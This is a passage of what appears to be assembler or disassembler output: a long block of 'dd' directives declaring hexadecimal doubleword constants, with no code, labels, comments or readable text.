2DDA587Fh dd 6682F781h, 5E86050h, 2AB3A12Fh, 0F3C4BE63h, 40331356h dd 0D9C2945Eh, 0B48E0498h, 0FDF88B2Ah, 0B0572B5Ah, 0B3A9F6C4h dd 95D470BDh, 4DA7B5B6h, 1A5AC30Fh, 71F1308Fh, 0B5270EECh dd 5D112438h, 0E583F39Fh, 0FC0BCA8Ah, 4E162DBDh, 66014420h dd 0ABD9BF05h, 30F98AE9h, 0DB06A6ECh, 0DF7A34A4h, 63431254h dd 81739B61h, 0EFDD214h, 0D90D883Fh, 7C304C38h, 0DDA73100h dd 81C1F284h, 0CB1C6EC6h, 130FCAC0h, 0E9122F17h, 0C3ADF891h dd 0A502C9E8h, 61858901h, 0CE89562Bh, 70908009h, 5017E07Bh dd 2890FCB6h, 3C570BBFh, 0AED43D78h, 36C65F9Ah, 56240458h dd 9A27555Fh, 0B71D7A1Bh, 5D029446h, 991D343Dh, 289A5640h dd 0BDBD7628h, 49D0144h, 0FF0934C4h, 4695F1C4h, 0C89A27Bh dd 9264B860h, 0C21275Eh dd 5001A73h, 80F83E66h, 0C20D001Dh, 0B07645E2h, 8124A33Ch dd 0F62208Bh, 89548386h, 0AAA1FD95h, 0AB8EC46Eh, 0C5CB74A9h dd 0A79F7D00h, 1A0E332Bh, 0C0218799h, 0D23DDBA5h, 0DDAF122Ch dd 0F5D6491Ch, 0BA805379h, 74E91181h, 18E4BD90h, 87E54700h dd 0C7A55F7Dh, 622F0702h, 0BE048AA1h, 43E616B3h, 5F59D144h dd 46B90C05h, 0C38C9057h, 4DDE0083h, 38202A1Eh, 0F10E0179h dd 0A0DF5B4Eh, 0E134611Fh, 97B27A8Dh, 0EE4A70B2h, 0F78B4B40h dd 8762B909h, 20369AF6h, 7ED11D53h, 0AC181D29h, 7B2F80FCh dd 0D37CA7DAh, 6EAAD709h, 3D10401h, 7106BC13h, 0FF250841h dd 3E8BD7F8h, 59A723C0h, 5C5EB9C2h, 0C81AE5F4h, 0CB8AE28Ch dd 9F70C753h, 0A66B4B7Ch, 0D08B1ABBh, 702853A8h, 0C048DA3Ah dd 0F9252541h, 5FB5A70Eh, 8C26B04h, 2746F087h, 0C608B592h dd 0F77712FCh, 0E82B0CBh, 0BD8B088Fh, 0BA012FB1h, 0B996CFAh dd 4D36493h, 40A4936h, 604B75E9h, 4441C6F7h, 14A6A35h dd 0FE2B98AAh, 0C4177822h, 0F1C454Eh, 0EFC1A18Bh, 3C93680Ch dd 23D8C704h, 0DD25702h, 3C28F654h, 32E91A80h, 28AA2AE1h dd 3012DF97h, 6EE3A9C5h, 949E3F42h, 29260E13h, 6A508C57h dd 5668057Ch, 6102126Eh, 8EE0C1C3h, 1130008Bh, 0DDEA81F0h dd 0C2838583h, 21F10414h, 0F97F1E1Dh, 2A5C5CC2h, 0E6F50B18h dd 4A5EBF4Fh, 503E865h, 2DC22B58h, 6860F01Ah, 4D2D3881h dd 0A077C65Ah, 0E3C50EFh, 3A81D003h, 7E1945CDh, 2D2F3AEDh dd 0E9E583DFh, 314C72D9h, 0B5FEC88Bh, 40030023h, 0F14FDD3Ch dd 32671C2h, 12ACCF8Bh, 53440F5h, 1C5BF86Ch, 0D103310Ch dd 0BD15C920h, 1208B14Dh, 0FA051045h, 0E98448F2h, 8B514413h dd 81104A80h, 14B051A9h, 3359B582h, 0DBFDC3C0h, 0FD2494C8h dd 3B6847B1h, 0E4FD0551h, 868BA8AAh, 4AEB2AB5h, 4BD620D3h dd 659F46FCh, 0C080018Ah, 3E8B5F73h, 0F6D75E0Eh, 0CFB85747h dd 50C93300h, 8B580EF5h, 0D9610F14h, 0D008F281h, 6002798Eh dd 32C8E2BBh, 3AC619h, 5B543FBAh, 3A33CB7Dh, 7FBFED03h dd 0C81F4BF8h, 18F2495h, 8161DA31h, 0C48EDFC2h, 0FC59606Ch dd 0ECBAC399h, 0F22602C0h, 0A236214h, 89C1EB83h, 10F98E25h dd 7CB64Eh, 0B0802F50h, 0E9835E2Ch, 0F9490238h, 81A9D302h dd 428CB4F9h, 943A8418h, 0C58A1E90h, 1AA0079Dh, 400A1596h dd 606A3DE4h, 85632500h, 8D39B847h, 2908CC57h, 68244C21h dd 950F3825h, 6DFE02Fh, 0F00FFB55h, 6B3E005Ah, 0CAC8E626h dd 1400673Bh, 6D280E44h, 73278B07h, 0F6E49Eh, 0E4183E2Dh dd 329F058Ah, 38045A30h, 1255E3Dh, 0DB836094h, 800E453Fh dd 2281B678h, 0E0C29DCh, 0EF6F5291h, 0FA04E6C0h, 0B00C9C64h dd 20EEF689h, 2C68051Ah, 383C6F7Ah, 0EE467E20h, 680A970Fh dd 808430CAh, 91DF745Dh, 0F60C5EB6h, 84EBED8h, 7B21C02Bh dd 1FFDDF7Ch, 3139F800h, 69ADC5Fh, 0D79E01C8h, 0EA91B6CCh dd 97708CE3h, 8C6B6027h, 90DF7704h, 2C6256B6h, 0DF7F7C20h dd 0A6EA17h, 1DAAE68Ch, 223BC82Fh, 3DEF3A07h, 6AF7340Ah dd 0CC1E1F85h, 0F093FA00h, 0C839569h, 9B9D0E59h, 21DE2608h dd 40F08B80h, 51826315h, 8C01B83Ch, 1300E1EEh, 81C73D5Bh dd 382D1815h, 308B1042h, 62112561h, 35884F85h, 25694180h dd 0C0CB5Bh, 0C3CD8F02h, 0F8A1BA6Eh, 9105C0C1h, 20210Eh dd 5933600Ch, 0A25E62F0h, 0B0BE1200h, 0F57B4A28h, 1B0D0C9Dh dd 5F99D5B2h, 29B32D00h, 0F5CC515Dh, 277B7Ch, 0B9D25CF0h dd 25E7089Ch, 52F11B60h, 0F45D04h, 74B109AFh, 2FF0C63h dd 8F3470C3h, 0B5292828h, 917E30h, 6D84B6A6h, 706F4C6h dd 0B4F6A500h, 5EE74DF5h, 3096FC1Bh, 8AC02F52h, 0B2607B3Dh dd 78C41A49h, 6F6401CBh, 67166E61h, 0DF089879h, 60A521h dd 0F432BFCBh, 15AEFF45h, 0EC9C3A54h, 0D652300h, 131F8AE3h dd 0C0724B57h, 4C44D442h, 0D9981206h, 313D16h, 604634E1h dd 0A777C93Ah, 3905F39h, 0ED9B8732h, 0ACB2D093h, 0A878D935h dd 864187Fh, 816F60CBh, 9941DAC4h, 0D48DCB6Ch, 2201F6F5h dd 0BE85D429h, 0F88233C6h, 213DBA6Fh, 0B57DE881h, 0C63987D8h dd 1650FB8Bh, 2A6009A4h, 0A7B8370Ch, 602744B0h, 1DAA9621h dd 5D2A6A32h, 67A24992h, 0CE8930A1h, 215C21E0h, 602F53Ch dd 26F4668h, 0B69CDF73h, 10223176h, 0DF7B70h, 0B84811E1h dd 0FC7A66CBh, 85A45B02h, 4857A286h, 800FDB54h, 4250C5BDh dd 11417180h, 30899042h, 64102563h, 4FE05F85h, 0CC00256Bh dd 78CF6F11h, 24F780DAh, 1A503247h, 6417698Fh, 73802511h dd 3ECC06B1h, 3D491560h, 1EE25DCh, 6F27C52Ch, 941041C2h dd 109C77B8h, 6A883642h, 9FDF72C0h, 224E46B6h, 7A7D0029h dd 91C82EDFh, 0C4A0E66Eh, 3C48D4B2h, 0C07C8838h, 6F61CB63h dd 0E08C8948h, 0CB6BA6h, 78D3445h, 0B1B6E0BEh, 58EF4230h dd 5873138h, 0F65A92EAh, 6C58083Dh, 9DDF70C0h, 0D87E4CB6h dd 0DF787FE0h, 0AB584103h, 533B30B2h, 0C9A2E0A8h, 0A8439F33h dd 50987751h, 4222A406h, 16D2304h, 0B69EDF75h, 88381846h dd 0DF007D7Eh, 0CA8F9610h, 0CB17FCBh, 0C930FE6h, 8D009B20h dd 859DE3E8h, 99506E96h, 8078113Ch, 6F65CB67h, 13F58C69h dd 5A60EFA2h, 24BEB6h, 4B990BD1h, 0CE63295h, 1015B8C5h dd 0ED3DC882h, 0AE14E108h, 0EA67D06Fh, 0BB11E503h, 0ED9B3F6h dd 0E08D7B81h, 259E01A1h, 5DB9A62Dh, 7640B303h, 0A8F2DB9Bh dd 4E1541Dh, 82AEC628h, 8140804Ah, 490DB8Ah, 6F467898h dd 70F09A02h, 2B318B95h, 0F0925C10h, 0FC58D500h, 9580AC70h dd 0DA22386Ch, 6D88A0D8h, 72F09CC0h, 229B4695h, 945A0022h dd 49997F0h, 78BA5F95h, 0F89B6140h, 15200A57h, 44A416BCh dd 25676095h, 7F852378h, 4B283111h, 1ACEE2A0h, 59425B12h dd 0D96E8002h, 9E307464h, 22B9190Ah, 88B280CEh, 9683A6Bh dd 0EE5082B3h, 18711132h, 7ECB0962h, 141C916Fh, 3F6A9B3Bh dd 8156895Fh, 0B8EC10AAh, 3CA5843Ah, 0CE63DDC4h, 0E409A0C0h dd 297DAE01h, 393A2B1Dh, 0A8A27042h, 2DEC8F0h, 0BF8AB5A3h dd 0E4C4B3DBh, 12301100h, 7445D0DCh, 132B0058h, 0DAF39BBCh dd 0B3028ACCh, 629E856Fh, 6D00A35h, 88D54AB1h, 805CB548h dd 232438C6h, 22530868h, 8D0CD876h, 4226B872h, 36B23EEh dd 9574F09Eh, 4C8EDCh, 0FEF09658h, 2B98690h, 4B7885ACh dd 2CC01B9Ah, 7800AB1h, 2F1F4A88h, 38231Ch, 879601F5h dd 2E035DB9h, 1DCAE70Ch, 90581806h, 0E0B58919h, 0DD6CE9C0h dd 4A1DD2h, 22C32A28h, 0D4F8611Bh, 974E7309h, 16CD8624h dd 44800039h, 277FF7E3h, 80A70115h, 98602844h, 0C83EACB4h dd 0F4EAA6B9h, 621FE981h, 0D0F054E2h, 0C686046Bh, 0A655343Dh dd 0B6F5E0D0h, 6D38010Dh, 0D6A6D7F7h, 0E2A0332Fh, 159E30DFh dd 8FD4D101h, 0F689B64Dh, 67B832DBh, 65307A50h, 6F6311CBh dd 80D38879h, 97CB6DA4h, 0AAEEC181h, 0F20FECB0h, 67345769h dd 0DA462C8h, 0C072F8A1h, 163030F2h, 0BC7901E7h, 0E15501B4h dd 2100D3B7h, 460E6397h, 0B9DD9557h, 182AD134h, 73712F9h dd 6F942090h, 126075AAh, 0A592D5B0h, 0E2854C39h, 1DB85228h dd 2EA1AA63h, 31467C98h, 0F1D3E16h, 50907A58h, 0EF41FE1Ch dd 0DE98C8ACh, 555BC000h, 48B6608Bh, 0D1989916h, 818D0h dd 0AF491C1Dh, 0BEA0BA30h dd 0B8056C05h, 11822AA6h, 0EF88ED18h, 0DEC4B0E0h, 0B624C5E2h dd 6011B430h, 73F09D80h, 458C9395h, 0F0513021h, 78505A16h dd 0E1415001h, 88A8D47h, 8DB003BDh, 0FF311825h, 878D6DE0h dd 4E885755h, 0C0D0886Ch, 743C7198h, 0B34BA700h, 5684F6B7h dd 0B0624DB1h, 82329709h, 319ED841h, 14CCDBC4h, 0A6E92114h dd 32465CA0h, 9F539B00h, 910D277Ah, 58DF39E8h, 97AC0D7Ch dd 0C80ED92Ch, 0B6C0C888h, 0EE85EF2Ah, 0ED58A81Eh, 36C4870Eh dd 0AE31A760h, 8C948802h, 89A01D2Ch, 5C7B0888h, 30975832h dd 663F2565h, 3C22C685h, 256D4D00h, 6EE61133h, 9C0E5C7Fh dd 8C27E8h, 0F3C03CEAh, 7BF4E5F7h, 0F0C4917Ch, 92221DDDh dd 39256430h, 4C528567h, 256C4880h, 0BD14FC77h, 0B820276Eh dd 5B3F8C3Fh, 0BE1201EDh, 31F378CCh, 383595D9h, 8421FAE8h dd 0F1299121h, 0E9951829h, 0E5E270h, 0AE4612CBh, 169F6D02h dd 80804C99h, 8B6BBDB1h, 1C21016Eh, 92BF3FADh, 0BAB7E83Eh dd 16AA2639h, 106F2585h, 543BC5Eh, 0F92C7EF3h, 2909C709h dd 0E45C4560h, 0E56960DCh, 188B121Eh, 0F75C08CFh, 0AA6B902h dd 679C8036h, 347EC10Eh, 8EB84F02h, 0C0DF8888h, 8FE55428h dd 0B1D7C931h, 0C050FA0Fh, 0FAAF4BEh, 34629477h, 0C83C8B13h dd 0FC2CC026h, 0D2289972h, 0F620FC9Dh, 0C8863D57h, 15E43505h dd 16D44004h, 583B8D9Bh, 93028D98h, 2E2A94B1h, 66406137h dd 126D1020h, 532C65C2h, 88988E18h, 8C82C0D0h, 5D015147h dd 0CE9D267Eh, 15DDAAF0h, 29E2E463h, 4EA8A30h, 93BE2770h dd 0E00780AEh, 28918DDCh, 1918DF79h, 0CC99100h, 8306BF26h dd 7D48C8D6h, 62CB66C0h, 2C714E6Fh, 0CBF6A780h, 9923C400h dd 86629756h, 68A4A00Fh, 0E53E2D89h, 679478AAh, 804F0755h dd 7AF71982h, 0C31CCB73h, 0FE005ED4h, 0E70DC073h, 6F8A5E09h dd 0BBCA100Ch, 84D6C688h, 29675E20h, 0B02C660Ch, 0E6B5BAA3h dd 43B658C1h, 427CD72Ch, 9D0035F6h, 152D85ACh, 0C01025C0h dd 0FA6A9800h, 459355DDh, 0F633861Fh, 673BF583h, 62F80B9Eh dd 902FBDBAh, 0C04E20Bh, 2A4E02h, 5DC2B832h, 0B14EAA7h dd 803425E9h, 6F678868h, 0B56E390Ah, 780E8E3h, 0A0889583h dd 66A7012Ah, 94D078ADh, 0E8043C8Dh, 0B3E08C32h, 0E3379302h dd 906313AAh, 697349Ch, 0D1A2E6C1h, 0AD7AC020h, 0BC702CF9h dd 4008C22h, 34ECD24Ch, 76DD30Dh, 0BE83613Bh, 200F994Ah dd 0C809A224h, 46FA9670h, 0E105327Ch, 2910D0CCh, 0DADBCAC1h dd 2BA24033h, 4967930h, 725BF282h, 8300F038h, 3497C308h dd 870A808Ah, 51BD7424h, 705BBCAAh, 0DAF50172h, 40A45B46h dd 101DAD70h, 0B5802C11h, 0E1F7A60Fh, 3007BD22h, 6B711425h dd 6E7877EEh, 0ECEA7A09h, 939E81A6h, 0A03AC3F2h, 0D49CDD15h dd 294676h, 0B26284B9h, 0B9C97B52h, 183CD998h, 0B0CC09E8h dd 0A8B7EEF0h, 0C1D65080h, 3FBE573h, 4243B62Ch, 30AA4A95h dd 1807E489h, 1D0348EEh, 59A4BAE1h, 2B20FC41h, 603F8A29h dd 60193071h, 0A90F13EDh, 82D406B9h, 400BE1A2h, 76DBA54h dd 0B4F5C486h, 9407619Ch, 0D4D425ECh, 7C1C936Fh, 134019BBh dd 0AA7267B7h, 4030B06Eh, 0A618D7F0h, 0FA04042h, 4099DD20h dd 0A22C9B3Ah, 830002EFh, 96B7B148h, 2CF8E8AAh, 66CFB99h dd 3039C90Fh, 0B10D1530h, 79029D69h, 0E6222670h, 9900DE84h dd 19323A12h, 402EB93Eh, 0EF60B2EEh, 8D9D1CD9h, 0D4FD1CF7h dd 307EFE98h, 73D027A5h, 760F5A91h, 29E62884h, 0A852A9h dd 0BBD879AAh, 0AEAD97A6h, 3D4CC379h, 7BC6DC34h, 0F8C961B6h dd 0AA2A1495h, 406F00Eh, 48C2CE80h, 465EA0BEh, 0A6040E29h dd 9DAF678Dh, 0C0912F67h, 5465F22Ah, 27A26823h, 0F29ECF30h dd 0ADBF03EDh, 3A5B133Bh, 0DAC42102h, 8265A143h, 25576EF0h dd 50D4415Ch, 86EDC6A9h, 3B6513D0h, 89C80C39h, 8A18EC7Ah dd 0A93EE70Ch, 3CB8115Eh, 0DE104877h, 41E240E5h, 1840AD66h dd 0D4C00759h, 0AAF53610h, 783B19C4h, 1630423Ah, 0C700CC44h dd 0D72A5141h, 1122B10h, 0DE69FCCDh, 0C852BF81h, 261F97A3h dd 9C419F60h, 291622FEh, 0ACBACE4h, 1C873405h, 9139FB0h dd 0ED816204h, 64FA69C2h, 9450EA74h, 900EE0ECh, 0E5EEC3C4h dd 1C1F256Eh, 81C8FF42h, 44E0D21Ah, 0A400D0DAh, 0B08BAF2Bh dd 1C8418CAh, 40B88D9Bh, 653AD5E8h, 9A010AFDh, 0EA13411Ch dd 532AB0E0h, 6A2804B0h, 940F0568h, 0D19AAC31h, 0FA808105h dd 8E34013Ah, 1F0BAC69h, 70633233h, 3E07003h, 22BA8BC7h dd 54885229h, 120293ACh, 0E1B0499Bh, 0C018E8D6h, 3C9D4C87h dd 48330210h, 70A22DCh, 6C3A38ADh, 0A26F35FBh, 68252518h dd 165B2F8h, 0ADBDD535h, 80EAFB1Dh, 9C9584ACh, 68ADBB8h dd 0B29B6238h, 630D89E7h, 488026CAh, 33BC3C2Ch, 0DEA4248Ch dd 3EF800AFh, 0F5C8EE5Eh, 680C58B0h, 0D8D06AA9h, 8E4A17C3h dd 85844165h, 0A05A5296h, 3A0AF0E1h, 0B80F113Fh, 70E6A98Fh dd 1069F05h, 851C9BA3h, 44817090h, 0D720DBBEh, 4A63EE30h dd 0C8248BF0h, 9201C02Ah, 0F486BAAh, 20EB8FD4h, 70687C2Ah dd 0BE27289Ah, 6C3101D0h, 0C024F76Dh, 0F312D123h, 89B70DB8h dd 0F0DF68FCh, 404360C0h, 580FEAC8h, 0E07A730h, 46C65139h dd 0CD00612Eh, 1DD06F78h, 0B87A91h, 7984CE38h, 0D7A0FB39h dd 0A82F5E4Eh, 21003623h, 0D75AC3A3h, 4A502DEh, 0C69E83A1h dd 6F09C450h, 1F18DC2h, 0E7923908h, 6C239C7Dh, 77F09101h dd 9C337395h, 0F0895B80h, 793EAF1Ah, 6CC605C4h, 0D0D5A5AAh dd 30C834CBh, 7C30BCC7h, 407097Eh, 71B26CD5h, 0B2C4F32Ah dd 0AA423035h, 0F65ADE00h, 63110C0h, 409E7884h, 0C8719426h dd 3037DFE6h, 958E08CDh, 651965D8h, 8FDE08DBh, 6580B138h dd 28674C21h, 5C599900h, 64E0835Dh, 137934C2h, 589081D8h dd 9D60A58Dh, 8338119Ch, 0F0629073h, 14312109h, 58C5EA80h dd 0D0C25C77h, 706ED713h, 1698524h, 87EECA3Ah, 0AF836ABCh dd 0E3202C40h, 1FFF0F7Ah, 92A176DCh, 64361262h, 0B0B12CB4h dd 8D1828D1h, 0C4804F2Eh, 1E71E08h, 57B9E11Ah, 0CC810416h dd 65002AC6h, 48B409C2h, 10900D14h, 152D0EBCh, 10D470A7h dd 5E2CEABDh, 3EE90400h, 77CD28BBh, 4232189Fh, 730B00Dh dd 39B59812h, 0B8A060E7h, 4301976Dh, 893699FDh, 3A02EE9Eh dd 0DD112897h, 6F55E380h, 0B228A4F9h, 323FB02Fh, 69BC02Ah dd 0BFE0E286h, 0AC16E90Bh, 0BDE11E97h, 2CD52C20h, 8382F15h dd 9A02E753h, 0E283EA18h, 0B52868FFh, 141928C2h, 991B16A0h dd 0C5F44F4Eh, 18167186h, 6610BA15h, 9BE4008Ch, 6DB6E697h dd 866C267Ah, 0B71001F0h, 3A359A9Dh, 909BE820h, 47FA00ABh dd 0E5ED5467h, 4D045D12h, 87608A88h, 0A58D60A0h, 60D3E48Ch dd 0F2213242h, 9DC0FC6h, 56B68BF0h, 8F14090Ch, 6738C068h dd 0C90084E0h, 63A2959Ch, 28D4F44h, 76ACB807h, 0C7B583h dd 77602144h, 0BCEE3FB6h, 12F0040Ch, 88197834h, 0E25A5317h dd 0B0043001h, 9C2CEFBEh, 0B8C2BECh, 9A5C0871h, 53929402h dd 0C880F05h, 0F97F016Fh, 0C85BFDD3h, 5E96F84Bh, 73C19901h dd 84286319h, 64DC0DE4h, 4031383Fh, 940E3934h, 0A4FD0204h dd 88ADEE09h, 3CF790C0h, 6E84CC02h, 4A3EF0B5h, 71147988h dd 24E618D3h, 3F16B998h, 4EF66180h, 0FAA93054h, 971D8C92h dd 28971F5Ah, 21E49440h dd 0B61BCE0Fh, 74FCA85Ch, 11258038h, 0C70F81C0h, 5A4D24h dd 63B467Bh, 0BAAB49DDh, 2CCA6C13h, 30B63085h, 0B96118E0h dd 81C89905h, 0DC3EE59Ah, 69002823h, 0CB63F14h, 46622595h dd 1BC0B4E0h, 44AF8C4h, 27EC58ECh, 7738Ch, 2C16457Fh, 399995ADh dd 0EE208C98h, 9D56052Bh, 40D6B2AAh, 0C5E542A4h, 7E00E8F8h dd 2B2C4347h, 29EFEB0h, 1601B54h, 14D22267h, 0B221D400h dd 0D2E6F36Ch, 2AE1F475h, 99408BFh, 6D87637Ch, 40EDDC04h dd 95A5A688h, 0BD6C04C1h, 0C07D5430h, 73781F48h, 34CCA826h dd 8A000A10h, 9004E3E0h, 2C4B38BDh, 2988A08Eh, 0B8782DC3h dd 25BED95Eh, 706815B0h, 0D14D1CD7h, 6DF10488h, 70A59D07h dd 0DF544BDEh, 0F4819384h, 0E44848C9h, 29EE60B5h, 6C71C6F0h dd 0FAD7E62Ch, 1765A53Bh, 0CB3E9188h, 0F43843D5h, 13CFC48Ch dd 4724D1CAh, 5BE16BB0h, 0AC4058CAh, 70C6F94h, 8659A0Dh dd 70570029h, 0A9C85462h, 4C90DF8Ah, 0AAF0DE1Eh, 44E71313h dd 593830A7h, 0D80B7A46h, 202A5294h, 0BEA95688h, 3D68C9E2h dd 5B7094DBh, 4BDB095Dh, 4CC46113h, 0DD1EA910h, 1402D048h dd 0BA195B5Eh, 6899E4C4h, 30D1B821h, 51006C18h, 7F8E6A7Eh dd 4AA26EC4h, 22D08129h, 77C1802Eh, 6BB27857h, 0D20700CDh dd 0CBC80BA6h, 0BC9C5810h, 1502AE40h, 4D14BA59h, 3D065417h dd 0E9D19607h, 0FDC26D16h, 0F025C8C1h, 0E1B5618Dh, 7C40C621h dd 0D47C7EB0h, 0C6B42700h, 5A61622Dh, 98E0F27Ah, 0D75607E4h dd 40B3CD3Eh, 0E22D4E4Dh, 463D3Ah, 0B28B65E5h, 2F8ADBh dd 1A6DA9B7h, 0AE3DD716h, 0FEE72D01h, 79B42A22h, 7DE41CE4h dd 9C1F0399h, 6B1625B0h, 942722D0h, 21CC29CDh, 559C1801h dd 0E4D498Eh, 1166580h, 2809F949h, 8127970Dh, 0F14CD4CCh dd 3094C842h, 65162562h, 0B88B5785h, 256A4A00h, 78F04EA7h dd 0D62B7B2Fh, 9D013BE0h, 0A4542A18h, 0D440DA6Bh, 0E92EB7F5h dd 0BC0E83Ah, 8A4C5B13h, 465EAC76h, 3A2D0126h, 0AAD23C4Ch dd 0F94B1FC4h, 0B1A0423Bh, 3D05DFDAh, 232DE404h, 899E8B04h dd 8E9430D4h, 9049C65Bh, 0B55C849Dh, 880CCB34h, 4911C027h dd 9E13AFB2h, 8DE0E934h, 3E4F011Dh, 15AAF138h, 80888B1Fh dd 0F46802FFh, 98070278h, 6884FC89h, 80F0FC84h, 4563B255h dd 9D1E3881h, 0CF3DADBDh, 0BB30E926h, 10801926h, 0BCE6030Dh dd 9434846Bh, 56F8F8C9h, 9E81273Eh, 882AD024h, 34A01678h dd 0D838194Ah, 0A85DB1D5h, 87052B8Dh, 0A48144Ch, 0AC81586Dh dd 0A3840C9Dh, 0E3067860h, 3EFFBE00h, 60641D02h, 59F95995h dd 1827F168h, 3FA0018h, 0C3088E71h, 3B446C10h, 634BB48h dd 8063964Ah, 0D1061530h, 1C07029Bh, 40D294E5h, 0D111B861h dd 55275369h, 0D6BC8299h, 0BACD013Ah, 0AD6064A1h, 0FF65630Bh dd 70C0730Eh, 0E4A4B551h, 9E28BE00h, 1244C1BAh, 0F8320040h dd 145CB8FAh, 6F0E0762h, 0D6C96A6Dh, 809E130Dh, 63086E2Eh dd 0EAA2B561h, 99DCA321h, 0CF89093Fh, 0BC7979BAh, 80290C08h dd 972FE50h, 8F047FCDh, 714E548Bh, 0EFDCDCC0h, 88725Dh dd 939BDDF8h, 0D7643F30h, 94A08648h, 24C917ACh, 0A2F0509Dh dd 0B8879585h, 0B2E1E1BCh, 0AAB19C08h, 85349684h, 87895CA8h dd 9D293860h, 3EE88B0h, 56627316h, 8AE004B6h, 921682A6h dd 0E084662Ah, 802CACD5h, 0AE8139B6h, 311318E0h, 0A67ED604h dd 97C40BB5h, 80DF918Ch, 93142AAh, 48440671h, 60B40289h dd 1364C239h, 0F8882A85h, 748586A4h, 32603844h, 0A47F60E5h dd 0EDCA704h, 0D8A9BBE1h, 0F49C0713h, 81F70F98h, 76EFF639h dd 0B06EDAD1h, 0E21D4689h, 0BC4953E7h, 7A208439h, 767E608Ch dd 34BE0040h, 4474C2A7h, 943CD4FAh, 0C66B8A92h, 465C5C49h dd 64220025h, 344CE651h, 1DCB181h, 2CBE863Ah, 0CC82FA30h dd 0C70FCA32h, 0D90CB0E1h, 0F99A00AAh, 634E9350h, 0F1F4A6DBh dd 7B20CA09h, 0D1C471C9h, 9A91831h, 8A4BF2C2h, 0E5E6EC64h dd 0E064C182h, 0BC7C44D1h, 33C76B80h, 0D2723245h, 59EFA00h dd 0F4EC8956h, 8F880582h, 34F0EEFBh, 0A8B8A94Ch, 3E06020Dh dd 2F225210h, 6680FC76h, 5979FFD4h, 0CC6A03D9h, 0C7DCA07Ah dd 40BA69B8h, 960EA51Eh, 51A4DC2h, 5AE84167h, 905355C8h dd 486A20D4h, 99C2E50Bh, 0BF8C132Eh, 0B0E2186Ch, 1D09448Ch dd 3BB63312h, 6681A447h, 65278CCAh, 6027E458h, 1131F80h dd 0A3BB8E78h, 3C1BCCB6h, 8627013Ch, 0DE5281FCh, 0F02960AFh dd 27E42045h, 0FC3AFA61h, 0F8073946h, 0E88C0C41h, 0A280B90h dd 0DB48010Fh, 0B9B6F0C0h, 34037ADEh, 869633F5h, 35CD2DE9h dd 0D0607C4Dh, 10B22E05h, 0BD8AA81h, 78266295h, 886D5C6Ch dd 0EB6FF04h, 0BC44E8F6h, 98138CD6h, 6CA0DB87h, 2908C0E3h dd 3396B9F5h, 0CD32752Dh, 0E2A4E20Ch, 0BAA614E0h, 54329780h dd 4FB08886h, 88A0CECAh, 0B5D2C7C8h, 0F8EF03BEh, 0C2D47BADh dd 0C4B920h, 45782E95h, 808EAD94h, 8BC02988h, 7A4B7Ch dd 50135ACDh, 52970234h, 2F0F3627h, 3F5B84C4h, 35D5C842h dd 46745CF6h, 84010026h, 5B17293Dh, 0CCA20097h, 4AC37711h dd 70C03326h, 5770B1C4h, 0AEB91620h, 0F198447Fh, 0F25CF2EEh dd 7BC83032h, 820511E2h, 27AABE83h, 42F990B4h, 0B75B1A1Ah dd 0DC7C5C59h, 0EE2B807h, 9CBA4A95h, 8F60845h, 863C8BE0h dd 1CC5D800h, 3A936C94h, 5E1112BDh, 6B98F163h, 97D2C6Eh dd 8D34E3FEh, 0BC072012h, 5C2478D2h, 6B051311h, 0B0F1B26Fh dd 0B52D7780h, 8C6089C6h, 1262F92Ah, 5819CE8Dh, 0EEEDB09Ch dd 202E6EF5h, 0B805D623h, 9CAC5EF0h, 0CE2167CFh, 204DD575h dd 0B32DAED0h, 0E050CD3Fh, 0B755E0FDh, 9DB12002h, 5C6713AAh dd 86E1608Ch, 3A06FFC8h, 12240184h, 1A6D0F61h, 0E0C3C0CAh dd 94D05442h, 17678034h, 0B903821h, 27DB92C9h, 18482259h dd 6A74E92Ah, 0FBC55D02h, 5925A1BFh, 26660018h, 0AA61FD11h dd 0D7999C0Dh, 2868D006h, 1D8CD0ECh, 80F53E52h, 0EA2E345Dh dd 9B0B87B4h, 0F99A7790h, 3E8307A4h, 0E6AD60D6h, 8871CE4Bh dd 72728124h, 2ED32900h, 59BBD8Ah, 0E93CBA8Dh, 0E3B61275h dd 0E8B22F18h, 42D5968h, 60A49A95h, 9678C137h, 61780238h dd 742FFCD4h, 0ACB4FC28h, 63048C29h, 31AA6F35h, 0B06088A1h dd 0DA0788D6h, 0E2254Ch, 214FE0D2h, 385E6D3h, 9A42AFF1h dd 0C3F17822h, 7C2D0Eh, 6709494Ah, 0B03859DCh, 86D70900h dd 88B5B7Ah, 8EC0E44Dh, 4CBE75h, 0A1EED2F8h, 839B13CAh dd 0AAF0E106h, 10B8F585h, 41E7C525h, 22F2194h, 1855CD94h dd 1EC869B0h, 40F9C54Eh, 589B8153h, 1700209Dh, 8CC11DB5h dd 904A2C23h, 21F520CCh, 0FC4D2E2Eh, 16DD2B06h, 0B3C50378h dd 279F079Eh, 29305967h, 88123E58h, 344302Fh, 0FA739365h dd 0CCE0C902h, 23D985D7h, 0E094C26Dh, 0DA0083FCh, 0DC9BC479h dd 12011526h, 0F0E53113h, 0F00BC854h, 5B62CF4h, 8091EA65h dd 0D61652h, 0F395FDC8h, 9E833CA8h, 80C1BE5Bh, 8809BA6Dh dd 403A18h, 130FFD65h, 8A020329h, 0A9C8E7DBh, 1D45EFEh dd 8B341407h, 10B4732Ah, 161561E2h, 0D211344Bh, 61B2083Ch dd 0A188390Dh, 1E8132C2h, 5C58130Ch, 6CC1424h, 5A3A9F19h dd 309501Dh, 2A729E82h, 58204814h, 63300DEAh, 34D87992h dd 671909B4h, 1C79B5ADh, 7A0A99Fh, 0AFE387ACh, 89DCBA0h dd 3289C911h dd 1D319300h, 3B4A9E53h, 0CF4AB845h, 68B68C16h, 29326BE0h dd 81A74900h, 6D95BB97h, 762094EEh, 20242246h, 63EC05C1h dd 0B0EA85F7h, 2D2EB0E8h, 0DB0168DEh, 0A30111EEh, 33B8382Ch dd 9D77008Ch, 32A4AD43h, 6816ED6Ch, 388B35CAh, 71C03E88h dd 1B1335h, 700F89D1h, 0BE2BF2E2h, 0C7B01E65h, 3C6F4C16h dd 0B19A007Fh, 8ED57CF9h, 0FD0BFFB4h, 68EDE4B3h, 9B35DE5Ch dd 2143718Ch, 106B2A20h, 756DFE00h, 19307CA2h, 0CEFF373Dh dd 8EC1C481h, 0A264642Fh, 303EB250h, 0EA07C421h, 2A61FEEFh dd 0D0948FA2h, 479530h, 3B602564h, 170565D0h, 66B9C8F7h dd 0AC582CF8h, 8C24E8h, 0C81957D5h, 407E945Eh, 0CD608EF4h dd 0FF6D6A50h, 0E5231B83h, 4AC708FEh, 9C19B2D8h, 2779D871h dd 95006818h, 81B2E913h, 2D32948Dh, 8C491986h, 64282FE1h 